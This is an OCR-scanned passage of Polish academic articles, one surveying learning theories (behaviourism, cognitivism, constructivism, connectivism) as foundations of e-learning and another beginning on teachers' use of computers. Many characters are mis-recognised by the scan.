Communication, 1948, http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf (dostep
10.02.2014).
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wanie komunikatu oraz chronienie wiadomosci przed przeklamaniem podczas
transmisji. Teoria Shannona okresla informacje jak zjawisko techniczne i igno-
ruje catkowicie kontekst komunikatu.

2. Behawioryzm

Nastepng koncepcjg byl behawioryzm, ktory zaktadat, ze cztowiek jest po-
dobny do zwierzat i dziala wedlug prostych zasad, ktére opieraja si¢ na stalych
wyuczonych reakcjach na bodzce. W ten sposéb mozemy wptywaé i modyfiko-
wac¢ zachowanie czlowieka. Zachowanie jest wynikiem bodzcow zewngetrznych
a jednostka jest catkowicie pasywna. Zadaniem tego nurtu byto badanie zwiaz-
kow migdzy bodzcem a reakcja (stimulus-reaction). Zatozenia behawioryzmu
zaczely z czasem spotykaé sie z krytyka zatozycieli nurtu, dlatego powstaty
odtamy behawioryzmu okre$lane mianem neobehawioryzmu. Gléwnymi przed-
stawicielami tego kierunku byli: J.B. Watson (prekursor), B.F. Skinner (beha-
wioryzm radykalny), E. Tolman, E.L. Thorndike (behawioryzm umiarkowany),
C.L. Hull (neobehawioryzm). Behawioryzm (ang. behaviour — zachowanie)
uksztattowat si¢ w latach 60. ubieglego wieku w Stanach Zjednoczonych pod
wplywem rewolucyjnych teorii Johna Watsona, ktory kwestionowal istnienie
ludzkiej $wiadomosci. J. Watson interesowat si¢ psychologia dzieci i zwierzat
oraz twierdzit, ze istoty te dziataja bez $wiadomosci, tzn. ich zachowanie jest
automatyczne. Inspiracja dla dziatan J. Watsona byto stynne dzieto La Mettrie
Czlowiek maszyna, a przetomowym momentem dla tego kierunku bylo odkrycie
przez Iwana Pawtowa odruchéw warunkowych u zwierzat (pso6w). Watson gto-
szac swoje teorie przeciwstawit si¢ podstawowej teorii Kartezjusza ,,Mysle, wiec
jestem”. Przedstawiciele tego trendu uwazali uczenie si¢ za podstawowy proces
rzadzacy ludzkim organizmem. Nauczanie opiera si¢ w gtdwnej mierze na prze-
kazywaniu informacji jednostce oraz na kontrolowaniu wynikow uzyskiwanych
przez ucznia. Pierwsze siedem zasad dobrej nauczycielskiej praktyki akademic-
kiej zostaly opracowane przez W. Chickering i Stephen C. Ehrmann* (1996)
W oparciu o korzystanie z technologii informatycznych. Behawioryzm zaktada
gtoéwnie, ze:

e programy nauczania, w ktorych okreslona informacja jest przekazywana
uczacym si¢ wedtug okreslonego planu prowadzacego do z gory okreslo-
nego celu pedagogicznego;

e okreslone $rodki nauczania stuza do osiagnigcia wezesniej wskazanego celu;

*Implementing the Seven Principles: Technology as Lever, 1996, artykut dostepny online
http://www.iupui.edu/~cletcrse/ncaa/seven.htm (dostep 10.02.2014).
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e uczenie si¢ jest warunkowane przez powtorzenia, wzmocnienia pozytywne
i negatywne i modelowanie zachowania uczacego si¢, ktory reaguje na
bodzce administrowane przez nauczyciela;

e uczacy si¢ nie kontroluje procesow uczenia sig, jego €zasu i miejsca;

e nauczyciel kieruje przebiegiem procesow uczenia si¢ i jest zrodtem informa-
cji. Ocena jest dokonywana indywidualnie, aby sprawdzi¢ czy cele zosta-
ly osiagnicte;

e brak wskazan, ze cele zostaly osiagnigte (negatywny wynik testu) powoduje
powtorzenie catego procesu’

3. Kognitywizm

Koleéjnym pomystem nauczania zdalnego/elektronicznego jest teoria kogni-
tywizmu®. Ta interdyscyplinarna nauka o umysle powstata w potowie lat 70. jako
odrgbna dyscyplina. Obejmuje ona takie dziedziny jak filozofia (umyshu, jezy-
ka), psychologia, socjologia, informatyka, lingwistyka czy neurologia. Do roz-
woju tej dyscypliny przyczynity sie¢ wydarzenia w USA w latach 50. XX wieku.
Pierwsze spotkanie naukowe odbylo si¢ w 1956 roku w Darthmouth College, na
ktorym zgromadzito si¢ wielu propagatorow tej dyscypliny m.in.: Claude Shan-
non, Marvin Minsky, John McCarthy Allen Newell i Herbert Simon. W tym
samym roku odbyta si¢ druga konferencja w Massachusetts Institute of Techno-
logy, w ktorej uczestniczyli m.in.: jezykoznawca Noam Chomsky oraz psycho-
log George Miller. W tym okresie rozpoczeta si¢ ostra krytyka behawioryzmu,
ktora osiggneta punkt krytyczny w recenzji B.F. Skinnera Verbal Behavior’. Kogni-
tywizm zaktada, ze cztowiek aktywnie pochtania wiedzg przekazywang przez nau-
czyciela. Wiedza dociera wieloma kanatami, dzigki czemu mozliwe jest wielokana-
fowe przyswajanie informacji przez uczacego si¢. Proces nauczania — uczenia ma
tryb ciagly, co jest mozliwe w przypadku e-learningu, szczegdlnie wykorzystania
platform e-learningowych. Kognitywizm zaktada, Zze zdolnosci jezykowe cziowieka
oparte s3 na tych samych mechanizmach, ktore rzadza procesami poznawczymi,
czyli kognitywnymi. W nauczaniu elektronicznym mozna zastosowa¢ niedoceniany
i troche zapomniany model kognitywny Dawida Kolba i Ron Fry'a® z lat 70. ubie-

® Teoria e-learningu — wyktad online http://edu.pjwstk.edu.pl/wyklady/ele/scb/Docs/2_Te-
oria_elearningu.pdf (dostep 10.02.2014).

® W jezyku polskim pojawiaja si¢ nastepujace terminy w odniesieniu do kognitywistyki: nau-
ka poznawcza, nauka o procesach poznawczych, nauka o poznawaniu.

" Verbal behaviour, B.F. Skinnera ukazata si¢ w 1957 roku. N. Chomsky napisat jej recenzje
w 1959 .

® Teoria jest czesto okrelana jako model Kurta Lewina, ktory miat istotny wptyw na prace D.
Kolba i R. Fry'a. W literaturze przedmiotu znajdziemy skrot ELM z ang. Experiential Learning
Model.
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glego wieku. Ta eksperymentalna metoda opiera si¢ na czterech krokach, powtarza-
nych cyklicznie. Rysunek 1 obrazuje wszystkie cztery etapy:

doswiadczenie

obserwacja i
refleksja

e

Rysunek 1. Model czterech krokéw powtarzanych cyklicznie
Zr6édto: Rysunek zostal opracowany na podstawie modelu kognitywnego wg Dawida Kolba
i Ron Fry'a’.

Zaprezentowany model ukazuje, ze efektywne uczenie si¢ sprowadza si¢ do po-
siadania i1 rozwijania w sobie czterech zdolno$ci i umiejgtnosci. Pierwszy etap —
do$wiadczenie — jest punktem wyjsciowym calego procesu nauczania —uUczenia.
D. Kolb twierdzi, ze podstawg do dalszej nauki jest bazowanie na wiasnym do-
swiadczeniu i praktyczne korzystanie z tej wiedzy. Istotna rola w procesie edukacyj-
nym przypada na ten etap shuchaczom, a nie nauczycielowi. Kolb proponuje zrewo-
lucjonizowane podejscie do formy przekazywania wiedzy, mianowicie szkolenia
majg by¢ jak najbardziej interaktywne. Oczywiscie pojecie interaktywne byto troche
inaczej rozumiane w latach 70. niz wspotczesnie. Drugi etap obejmuje obserwacje
i refleksje (wnioski). Bazujac na wlasnym do$wiadczeniu uczacy obserwuje i doko-
nuje wiasnych refleksji. Na tym etapie mozemy dokonywa¢ zmian naszych decyzji
i eksperymentowac. Trzeci etap — teoria, wlasciwie tworzenie wiasnych teorii i kon-
frontujemy je z istniejacymi juz poglagdami. Czwarty etap — praktyka, czyli zastoso-
wanie przyswojonej wiedzy w praktyce. Jest to najprzyjemniejszy etap nauki, ktory
pozwoli nam sprawdzi¢ stopien opanowania wiedzy. Metoda Kolba znalazta swoje
zastosowanie gldwnie w nauczaniu —uczeniu uniwersyteckim. Kolb nie narzuca
poczatku tego cyklu, proces mozemy rozpoczaé¢ na kazdym etapie, jednakze
nalezy pamietac o jego cyklicznym uktadzie.

® Nazwy etapéw pochodza z jezyka angielskiego: concrete experience, observation of and re-
flection on that experience, formation of abstract concepts based upon the reflection, testing the
new concepts.
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4. Konstruktywizm

W drugiej potowie XX wieku pojawila si¢ nowa koncepcja zwana konstruk-
tywizmem, aczaca strong kognitywna i tworcza uczacego si¢. Do propagatorow
konstruktywizmu spotecznego zalicza si¢ m.in.: Karin Knorr-Cetina, Bruno La-
toura, Steva Woolgara, Barbarg Czarniawski oraz Karla Weicka. W podejsciu
konstruktywistycznym najwazniejszy jest umyst, w ktérym gromadzona jest
wiedza. Kazda jednostka w sposob indywidualny i niepowtarzalny przyswaja
i przetwarza wiedzg. Uczenie stalo si¢ procesem osobistym i refleksyjnym. Gtow-
nym zatozeniem konstruktywizmu jest postrzeganie wiedzy o $wiecie i tej nauko-
wej w kontekscie spotecznym i kulturowym. Uczacy si¢ jest aktywny i Sam two-
1Zy sW0jg rzeczywistos¢ jest to warunek konieczny do poszerzania wiedzy o §wie-
cie. Rola nauczyciela ograniczona jest do instruktora, ktory ma wskaza¢ uczacemu
si¢, gdzie znajduja si¢ informacje i w jaki sposob mozna je wykorzystac.

Zaro6wno behawioryzm, kognitywizm, jak i konstruktywizm mowig o formach
przyswajania wiedzy i roli nauczyciela w tym procesie. Zaden z tych nurtéw nie
wspomina bezposrednio o nauczaniu elektronicznym, ale kazdy zawiera elementy
wykorzystywane w dzisiejszym e-learningu. Wspolczesne uczenie si¢ bazuje na
wczesniejszych teoriach i jest procesem kompleksowych czynnosci opartych na
poznaniu.

5. Konektywizm — uczenie si¢ przez laczenie

Najnowszy zamyst pedagogiczny — konektywizm (ang. connect — potaczy¢)
— okreslany jako teoria uczenia si¢ w epoce cyfrowej, powstal w pierwszej deka-
dzie XXI wieku. Smiato mozemy powiedzie¢, ze mamy do czynienia z rewolu-
cyjnym podejsciem do uczenia si¢. Autorzy George Siemens i Stephen Downes
opisali swoja teori¢ w 2005 roku w artykule Connectivism: A Learning Theory
for the Digital Age™. Uczenie si¢ jest procesem ciaglym i bazuje w gtéwnej
mierze na wykorzystaniu sieci. Teoria konektywizmu tgczy wiele teorii uczenia
si¢, uwzgledniajac struktury spoteczne i narzedzia technologiczne. Nie musimy
juz dysponowaé tak duza wiedza, wystarczy, ze wiemy jak wyselekcjonowac
najwazniejsze informacje i gdzie je znalez¢é. G. Siemens i S. Downes uwazaja,
ze zdolno$¢ zdobywania wiedzy jest nadrzedna w stosunku do tego, co juz wie-
my. Autorzy analizujac starsze poglady (behawioryzm, kognitywizm i konstruk-
tywizm) stworzyli nowg teorie, ktora rewolucjonizuje mys$lenie o uczeniu si¢.
Wszechobecna technologia informacyjna w sposéb istotny oddziatuje i ingeruje
W nasze zycie, w nasz sposob komunikowania si¢ i uczenia si¢. Potoczne okre-

10 http:/www.elearnspace.org/Articles/connectivism.htm (dostep 04.07.2013).
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$lenie know-how i know-what zostato uzupetnione o know-where. Powszechnos¢
dostepu do wiedzy nie przesadza o niczym, a sukces zalezy od zdolnosci jej
wykorzystania. Konektywizm jest odpowiedzia na zmieniajacy si¢ $wiat
e-learningu i szybko zmieniajaca si¢ rzeczywisto$¢. Siemens wyr6znia nastepu-
jace zasady dziatania konektywizmu:

e uczenie si¢ i wiedza opiera si¢ na réznorodnosci opinii;

e uczenie si¢ jest procesem tgczenia si¢ z okreslonymi weztami lub zaso-
bami informaciji;

e wiedza moze by¢ gromadzona poza czlowiekiem, w réznych urzadze-
niach;

e zdolno$¢ do odnajdywania wiedzy jest wazniejsza niz to, co aktualnie
mamy w glowie;

e tworzenie 1 utrzymywanie potaczen jest niezbednym elementem procesu
ustawicznego uczenia sic;

o zdolnos$¢ do spostrzegania potagczen pomigdzy obszarami, ideami i kon-
ceptami jest umiejetnoscia krytyczna;

e wiedza, ktorej potrzebuj¢ teraz (doktadna i aktualna) lezy u podstaw
czynnosci uczenia si¢;

e proces podejmowania decyzji sam w sobie jest juz procesem uczenia sie.
Wybdr, czego mam sie uczy¢ i znaczenie naplywajacych informacji jest
postrzegane przez pryzmat zmieniajacej si¢ rzeczywistosci. To, ze decy-
zja byla stuszna dzis, nie oznacza, ze tak samo bedzie jutro™’.

Przetomowym punktem dla rozwoju tego nurtu bedzie powszechne wpro-

wadzenie do uzytku google glass. Te hypertechnologiczne okulary taczg sie
Z internetem, robig zdjecia i nagrywajg to, co widzimy. Reaguja na polecenia
glosowe (na razie jeszcze tylko angielskie), nie posiadajg stuchawek, a dzwigk
jest wysytany bezposrednio do mozgu z wykorzystaniem przewodnictwa kost-
nego; fale dzwickowe przechodza przez ramke okularéw. Zgodnie z zatozeniem
G. Siemensa, ktory twierdzi, ze utrzymywanie potgczen jest niezb¢dnym ele-
mentem procesu ciaglego uczenia sig, bedzie to mozliwe za pomoca gogle glass.
Pojawienie si¢ konektywizmu nasuneto wiele pytan zwigzanych m.in. z tym,
w jaki sposob uczymy si¢ i jaka jest rola nauczyciela? Na pewno mozemy
stwierdzi¢, ze tworzy on diametralnie inny obraz procesu uczenia — nauczania,
nie stawia ograniczen czasowych i przestrzennych tzn., ze proces ten moze od-
bywac si¢ wszedzie i o kazdej porze. Nauczyciel petni role dwutorowo, z jedne;j
strony jest leaderem (przewodnikiem), ktory kieruje i prowadzi ucznia przez
labirynt wiedzy, z drugiej strony jest trenerem, ktéry motywuje i wspomaga
uczniéw w radzeniu sobie z psychologicznymi problemami zwigzanymi z nad-
miarem informacji i niemozn0scig poradzenia sobie z nimi. Konektywizm nie

1 hitp:/Aiw.edunews. pl/badania-i-debaty/badania/1068-konektywizm-polacz-sie-aby-sie-uczyc  (do-
step 10.02.2014) .
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jest zupelnie nowym pogladem, juz w epoce postmodernistycznej twierdzono, ze
nadmiar wiedzy jest zbyt duzym balastem dla naszego umystu i nalezy nauczaé
umiej¢tnosei logicznego rozwigzywania problemoéw i krytycznego podejscia do
problematyki. Konektywizm jest nowym podejsciem pod wzgledem zastosowa-
nia i wykorzystania technologii informacyjnej i burzy dotychczasowe pojmowa-
nie procesu uczenia si¢. Jedna z zasad konektywizmu jest ciggle tworzenie
I utrzymywanie potaczen z nowymi zrodtami informacji. Wykorzystanie Interne-
tu (sieci) jest centralng ideg procesu uczenia si¢. Pod pojeciem sieci G. Siemens
rozumie tworzenie nowych polaczen migdzy réznymi weztami i ich ciagly roz-
woj. Wspotczesne uczenie si¢ to tworzenie grup dyskusyjnych, wymiana pogla-
dow i doswiadczen, kontakty z ekspertami, uczestnictwo w kursach online czy
tworzenie grup spoteczno$ciowych. Polaczenie z zasobami sieciowymi uaktyw-
nia proces uczenia si¢. Konektywizm odzwierciedla znakomicie wspotczesna
szkote, w ktorej uczniowie korzystaja z zasoboéw wiedzy za pomoca telefonu
komoérkowego i potaczenia sieciowego.

6. Koncepcja e-learningu w teorii konektywizmu

Pojecie e-learningu, ktore jest obecne w teorii konektywizmu, funkcjonuje
W jezyku polskim juz od lat 90. XX wieku i zostato przyjete do polskiego syste-
mu leksykalnego, ulegto m.in. polskiej deklinacji e-learning, e-learningu, e-lear-
ningiem etc. Nie wystepuje ono jeszcze wprawdzie w stownikach jezyka polskiego
z lat 90." i nowszych, ale mozemy przypuszczaé, ze pojawienie si¢ tego pojecia to
tylko kwestia czasu. Zadziwia fakt, ze e-learning nie pojawia si¢ w stownikach in-
ternetowych takich jak: Stownik jezyka polskiego W. Doroszewskiego™, czy Uni-
wersalny stownik jezyka polskiego™, ktory zawiera ponad 90 tysigcy hasel. Znaj-
dziemy natomiast nastepujgcg definicj¢ w internetowej encyklopedii Wikipedia:

,»E-learning — nauczanie z wykorzystaniem sieci komputerowych i Internetu,
oznacza wspomaganie dydaktyki za pomocg komputerow osobistych i Internetu.
Pozwala na ukonczenie kursu, szkolenia, a nawet studiow bez koniecznosci fi-
zycznej obecnosci w sali wyktadowej. Doskonale uzupetnia roéwniez tradycyjny
proces nauczania. E-learning to tylko jeden z elementéw edukacji, dlatego edu-
kacja w czasie rzeczywistym dotyczy znacznie obszerniejszego zasiegu ustug
niz e-learning”".

12 pojecie e-learningu nie wystepuje m.in. W Hustrowanym stowniku jezyka polskiego, red.
W. Sobol, PWN, Warszawa 1999 oraz w Stowniku wyrazow obcych i zwrotéw obcojezycznych W.
Kopalinskiego, WP, Warszawa 1990.

13 http://doroszewski.pwn.pl/ (dostep 10.02.2014).

% http://usjp.pwn.pl/ (dostep 10.02.2014) .

1% http://pl.wikipedia.org/wiki/E-learning  (dostep 10.02.2014)

161



Nie ma na chwil¢ obecng jednej spdjnej definicji e-learningu. Najogoélniej
e-learning okresli¢ mozna jako proces nauczania — uczenia si¢ wykorzystujacy
media elektroniczne. Definicje e-learningu, ktére pojawiaja si¢ w literaturze
przedmiotu sg wieloaspektowe i1 przekrojowe, maja podloze ekonomiczne, spo-
feczne czy metodologiczne. Jak nalezy zatem rozumie¢ i definiowaé e-learning?
Nalezy przede wszystkim wszystkie stosowane paradygmaty pedagogiczne po-
traktowaé w Sposob zrownowazony i swobodnie korzysta¢ z nich na wielu pta-
szczyznach. E-learning bardzo szybko zadomowit si¢ w naszym jezyku i leksem
ten jest aktywny stowotworczo, jednakze wystepuje gtéwnie w liczbie pojedyn-
czej. Pojawiajg si¢ jeszcze watpliwosci w wystgpowaniu dywizu z tym przed-
rostkiem e-learning czy elearning? Cytujac za Mirostawem Banko'®: ,.czastka e-
nalezy do nielicznych w polszczyznie przedrostkow zapisywanych z dywizem.
Tym dywizem zwraca na siebie uwage, a poniewaz pojawia si¢ w nazwach rzeczy
i zjawisk nowych, zwigzanych z technologia komputerowa, ktore tez pozostaja
W centrum uwagi, wigc mozna uznac, ze jej pisownia harmonizuje z jej znacze-
niem. Niewykluczone, ze z czasem ten walor nowosci wyblaknie, Ze pisane z dy-
wizem e- zacznie nas irytowac i ze z dywizu zrezygnujemy (tak jak w ciagu mi-
nionych kilkunastu lat zrezygnowali$my z dywizu w stowach typu eks-mgz, ktore
W najnowszym Stowniku ortograficznym PWN pisane sg tgcznie). Na razie jednak
e-learning przewaza nad elearningiem”'’. W jezyku polskim mozemy znalezé
okreslenie — nauczanie na odlegltos¢ (kalka z j. angielskiego d-learning / distance
learning), ktore czgsto jest blednie utozsamiane z e-learningiem. Nauczanie na
odlegto$¢, lub nauczanie zdalne, ktore funkcjonuje juz od ponad stu lat, jest poje-
ciem nadrzednym i charakteryzuje si¢ odseparowaniem ucznia i nauczyciela, na-
tomiast e-learning jest jedng z form uczenia si¢ na odleglo$¢. W procesie e-
learningu zmienia si¢ funkcja i rola nauczyciela. Tradycyjny model nauczyciela
zostaje sprowadzony do nauczyciela — moderatora zaje¢. Zamierzenie konektywi-
zmu thumaczy praktyke e-learningu o wiele lepiej niz poprzednie poglady pedago-
giczne. G. Siemens oraz S. Downes wpominajg réwniez o stosowaniu pokrewnych
metod tj. nauczanie mobilne (ang. m-learning mobile learning), ktore wykorzystu-
je najnowsze zdobycze IT tj. tablet, laptop czy telefon komérkowy z systemem
android, czy VLE (ang. Virtual Learning Environment), ktory oparty jest gtdéwnie
na platformie edukacyjnej i na potaczeniu kilku wspdlnych teorii pedagogicznych.
Konektywizm taczy istotne elementy wielu teorii uczenia si¢ oraz rézne narzgdzia
elektroniczne tworzac tym samym podstawe teoretyczng do zrozumienia zasad
uczenia-nauczania w epoce zdobyczy cyfrowych.

Podsumowujac rozwoj koncepcji pedagogicznych od poczatku XX wieku do
czasOW e-learningu mozemy stwierdzi¢, ze wszystkie pomysty dydaktyczne bazuja
na tradycyjnym nurcie behawiorystycznym. Jednakze ograniczenia behawioryzmu

16 Dr hab. M. Bariko jest jezykoznawca, leksykografem i doradca w Poradni Jezykowej PWN.
7 http://poradnia.pwn.pl/lista.php?szukaj=learning&kat=18 (dostep 10.02.2014).
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w mozliwos$ci kreowania nowych rozwigzan przez uczacego si¢, wymusily powsta-
nie nowych trendéw. W obliczu faktu, ze e-learning rozwija si¢ w zawrotnym tem-
pie, metoda behawiorystyczna musiata zosta¢ uzupehiona elementami konektywi-
stycznymi i kognitywnymi. Zyjemy w czasach, kiedy ,,cyfrowi tubylcy” spotykaja
si¢ z nadmiarem informacji i musza dokonywac szybkiej selekcji. Pojawienie si¢
konektywizmu ozywito wspotczesng pedagogike. Najbardziej odpowiednig koncep-
cja dla ,,cyfrowych tubylcow” jest wlasnie konektywizm, ktory stwarza optymalne
srodowisko analizowania i przetwarzania informacji. Brak spojnej metodologii nau-
czania e-learningowego w literaturze przedmiotu, wymusza tworzenie nowych teorii
dydaktycznych wobec szybko zmieniajacej si¢ rzeczywistosci.
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Streszczenie

Artykut dotyczy analizy postaw i zachowan nauczyciela pracujacego przy pomocy komputera.
Praca wspotczesnego nauczyciela opiera si¢ w znacznej mierze na wykorzystaniu komputera, zardowno
na etapie przygotowania do lekcji, w trakcie jej realizacji, jak i w dziataniach pracowniczych.

Summary

This article relates to analysis of attitudes and behaviors of teacher who uses a computer.
The work of a modern teacher especially establishes on using computer during preparing to
the lesson, during its realization and also during working action.

Wstep

W chwili obecnej truizmem byloby méwi¢ o postgpujacej komputeryzacji
W szkole jako o dziataniu stale postgpujacym i nieodwracalnym. Wszelkie prze-
miany w dziejach ludzko$ci najczesciej powodowane byly uczynieniem funk-
cjonowania cztowieka tatwiejszym, sprawniejszym i doskonalszym'. Stad glo-
balne wykorzystywanie nowych technologii medialnych?®, opanowujacych lub
nawet juz panujacych we wszelkie dziedzinach zycia. Mowa tu zaréwno o dzia-
taniu szkoty, jak i 0 pracy nauczyciela®.

1 M. Castellas, Spolteczenstwo sieci, Warszawa 2008, s. 22—-24.

2 M. Batazak, Media i ich wykorzystanie jako dziedzina wiedzy nauczyciela i jego dzialalno-
Sci praktycznej [w:] Informatyka w dobie XXI wieku. Technologie informatyczne i ich zastosowa-
nie, red. A. Jastriebow, Radom 2011, s. 209-219.

3 T. Wréblewska, Srodki i formy komunikowania w XXI wieku [w:] Teoria i praktyka kszta/-
cenie w dialogu i perspektywie, red. A. Karpinska, Bydgoszcz 2003, s. 146.
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Technologie informacyjne cechuje szybki rozwéj oraz rozpowszechnianie?,
wymagajace dotrzymania im kroku. Wkroczenie natomiast ich do szkoly i do
pracy nauczycielskiej naktada na nauczyciela koniecznos$¢ doskonalenia sig¢
w dziedzinie informatyczne;j.

Analizujac przygotowanie nauczyciela do pracy nalezy wigc opisa¢ ko-
nieczno$¢ wystepowania takich kompetencji, jakie niezbgdne sa we wspotcze-
snej pedagogicznej pracy. A wigc i informatyczno-medialnych.

Wiedza i umiejetnosci informatyczne nauczyciela staty si¢ juz tak oczywiste
(obecne pokolenie nauczycieli pojawiajacych si¢ w szkole to juz dzieci informa-
tyki), ze, jak wspomniano w przypadkowo zastyszanej audycji telewizyjnej —
0 tym juz nawet nie ma co mowic¢ — jest az tak oczywiste.

1. Komputer w pracy wspolczesnego nauczyciela

Dobrze przygotowany do pracy pedagogicznej nauczyciel zazwyczaj byt
okreslany jako osoba znajaca dziecko, znajaca swdj przedmiot nauczania i potra-
figca tegoz przedmiotu uczy¢ (zna Jasia, zna matematyke i umie nauczy¢ Jasia
matematyki).

Znajomo$¢ matematyki to gruntowne i solidne przygotowanie. Obecnie jako
dodatkowa umiej¢tnos¢ w pracy nauczyciela mozna doda¢ umiejetnos¢ postugi-
wania si¢ komputerem.

Umie nauczyciel wykorzysta¢ komputer jako zrédlo informacji (postugu-
jac si¢ Internetem) przy poszukiwaniu materiatow uzupetniajacych w pracy, np.
zdje¢, obrazoéw, czy innych gotowych wytworow majacych zastosowanie na
lekcji.

Komputer bywa wykorzystywany w postaci wykorzystywania informaciji,
jej analizy czy ustosunkowania si¢ do niej. Wykorzystywanie komputera bywa
tu tozsame z jedno- lub dwustronnym przekazem danych (np. dla nauczyciela
jako pracownika w szkole).

Wielka role odgrywa komputer jako urzadzenie wykorzystywane jako for-
ma edukacyjna, dzigki jego mozliwosciom technicznym w procesie nauczania.

Jednak, niezaleznie od potencjalnej szczegdlowej analizy jego przeznacze-
nia i wykorzystania, pozostaje kwestia umigjetnosci postugiwania si¢ nim
W znaczeniu merytorycznym i technicznym.

Wsréd analizy umiejetnosci informatycznych pojawia si¢ dotrzymywanie
kroku przez nauczyciela postepowi w dziedzinie informatyki. Zmiany w katego-

* K. Kiosinski, Racjonalnosé¢ egzystencjalna swiata w XXI wieku [w:] Czlowiek i jego decy-
Zje, red. K. Klosinski, A. Biela, t. 1, Lublin 2009, s. 83 i nast.
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rii postepujacego unowoczesniania, doskonalenia jej funkcji, ewolucja i wielo§¢

programow, umiejetnos¢ znalezienia i wykorzystania optymalnego w aktualnej

pracy — to wszystko naktada koniecznos$¢ dotrzymania kroku w dziedzinie. Dzia-
tania te pozwalaja nauczycielowi na dotrzymaniu kroku alfabetyzmowi cyfro-

Wemu5 W nauczaniu.

W pracy nauczyciela nauczanie opiera si¢ o komputer (nauczanie kompute-
rowe), wspomaga sam proces dydaktyczny (nauczanie wspierane komputerowo)
oraz positkuje si¢ komputerem (nauczanie z uzyciem komputera)®.

Wykorzystanie komputera dla nauczyciela dotyczy wigc takich obszarow
jego pracy’, gdzie komputer:

e wspomaga nauczanie danego przedmiotu (jako zrédto informacji, zrodto
opiniotworcze, edukacyjne) — a jego wykorzystanie unowocze$nia metody
pracy pedagogiczne;j:

o komputer jest posrednikiem mig¢dzy nauczycielem, klasg a Internetem
w celu dotarcia do informacji z sieci;

e komputer bywa traktowany jako nosnik tresci zawartych w réznych pro-
gramach, a ich wykorzystanie pozwalaja na szerszy, gruntowniejszy prze-
kaz informacji (np. gry dydaktyczne zawierane na plytach dodawanych do
podrecznikow do nauki réznych przedmiotow) — gtowng role odgrywaja
wlasnie te tresci, jako gldowny podmiot merytoryczny;

e Komputer zawiera programy testujace poziom wiadomosci z zakresu roz-
nych dziedzin i przedmiotéw nauczania,

e stanowi narzedzie techniczne — wspoélpracujace z innymi mediami, przy
przedstawianiu tresci przedmiotowych:

e nauczyciel traktuje komputer jako form¢ pomocy dydaktycznych, jako na-
rzedzia pomocnego przy przekazywaniu tresci zawartych na réznego typu
no$nikach (plytach, w sieci) w celu uzycia go jako urzadzenia pozwalaja-
cego odtworzy¢ te dane, jako urzadzenia do dokonania projekcji filmow,
do przedstawienia prezentacji tematycznych;

o komputer jest narzedziem pozwalajagcym np. wykonywac obliczenia, kal-
kulacje przez wykorzystanie funkcji kalkulatora, programu Excel;

e sam komputer stanowi poznawalne narzedzie, ktore bywa wykorzystywa-
ne przy okazji pracy w roznych programach, w celu przyuczenia do korzy-
stania z nich (np. obstuga programéw biurowych, graficznych).

% S. Juszczyk, Kompetencje wspélczesnego nauczyciela w zakresie stosowania w edukacji
technologii informacyjno-komunikacyjnych [w:] Ewolucja kwalifikacji nauczycieli w kontekscie
przemian edukacyjnych, red. F. Szlosek, Radom 2007, s. 189.

® K Kruszewski, Stowik i wréble [w:] Pedagogika @ $rodki informatyczne i media, M. Tana$
(edit.), Krakow 2005, s. 14.

"], Chwaszcz, M. Pietruszka, D. Sikorski, Media, Lublin 2005, s. 9-10.
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Praca wspolczesnego nauczyciela®, analizowana pod katem przydatnosci
W nauczaniu, sprowadza si¢ do refleksyjnego myslenia o wltasnym dziataniu
pedagogicznym, wychowaniu i nauczaniu otwartym i inspirowanym aktualnymi
i nowoczesnymi pogladami (w tym i na temat stosowanych metod i $rodkow

wykorzystywanych w pracy).

2. Podstawy wykorzystania komputera
w pracy dydaktycznej nauczyciela

Informatyka i jej wykorzystanie nie stanowi w pracy nauczyciela celu sa-
mego w sobie. Komputer jest narzedziem pracy, wspomagajagcym nauczanie,
posiadajacym szczegolne zaplecze techniczne zwigzane z procedurami i meto-
dami postugiwania si¢ urzadzeniem, a przez to wymagajacym doktadnego po-
znania.

Komputer posiada swojg plaszczyzng zastosowania, uzycia w praktyce edu-
kacyjnej w odniesieniu do roznych plaszczyzn jego wykorzystania®:

e gdy informatyka stanowi dziedzin¢ sama w sobie, a jej poznanie pozwala na
orientowanie si¢ w mozliwosciach wykorzystania technicznego komputera
(nauczanie przedmiotu informatyka);

e gdy komputer i informatyka pozwalaja na postuzenie si¢ nimi w celu nau-
czania innych przedmiotdéw, poprzez stosowanie przygotowywanych prezen-
tacji, wykorzystywanie réoznych form wspomagajacych edukacje (wszystkie
przedmioty szkolne);

e gdy komputer i informatyka znajduja zastosowanie w zyciu codziennym
ucznia, komputer za$, jako urzadzenie, stanowi utatwienie w wielu sprawach
(nauczanie tresci o wymiarze zawodowo-spotecznym: postugiwanie si¢ arku-
szami kalkulacyjno-rozliczeniowymi, Internetem w celach wszelkich uta-
twien w codziennosci;

e gdy komputer jest nosnikiem rozrywki, a informatyka stanowi podstawe
subiektywnie pojmowanych przyjemnosci (gry komputerowe, Kkorzystanie
Z czatu, przegladanie wybranych stron internetowych, projekcje filmow).

W kazdym z przedstawionych przypadkow dziatanie nauczyciela dotyczy
powinno$ci w zakresie przedstawienia potencjalnych zagrozen, na jakie moze
natkna¢ si¢ uczen:

8 H. Mizerek, W kregu wspdlczesnych sporéw o model nauczyciela [w:] Z problematyki za-
wodu nauczyciela, red. L. Hurmo, Warszawa 1998, s. 40-47.

® M. Batazak, Informatyka i media jako wyzwanie dla wspdlczesnego nauczyciela [w:]
Dnesne Trendy Inovacii 2011, Zbornik prispevkov z medzinaroden vedeckej konferencje, red.
L. Varkoly a kolektiv, Dubnica nad Vahom 2011, s. 5-12.
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w zakresie umiejetnosci korzystania z urzgdzenia w takim zakresie i w taki

sposodb, jaki jest na jego poziomie i do jego potrzeb wykorzystania potrzebny;

e W zakresie umieje¢tnosci doboru i ustalenie przeznaczenia odpowiednich pro-
gramoOw, poprawnosci postugiwania si¢ nimi w praktyce;

e W zakresie obowigzujacych juz, obligatoryjnych kompetencji informatycz-
nych obywatela XXI wieku w tak wielu dziedzinach zycia, nie tylko zawo-
dowego — koniecznos¢ dostosowania si¢ do wspotczesnych wymogow cywi-
lizacyjnych. Umiejetnosci postugiwania si¢ Internetem, podejsciem krytycz-
nym do niego, odpornoscia na zderzenie ze smogiem informacyjnym;

o W zakresie sensownego stosowania komputera jako urzadzenia wspomagaja-
cego rozrywke;

o w zakresie informacji przekazywanej uczniom w dziedzinie dbatosci o zdro-
wie™, w odniesieniu do réznych kategorii definiowania dbatosci.

Tak wigc obok oczekiwan wobec wspolczesnego nauczyciela, jako osoby
uczacej dowolnego przedmiotu, ksztattuje si¢ potrzeba posiadania przez niego
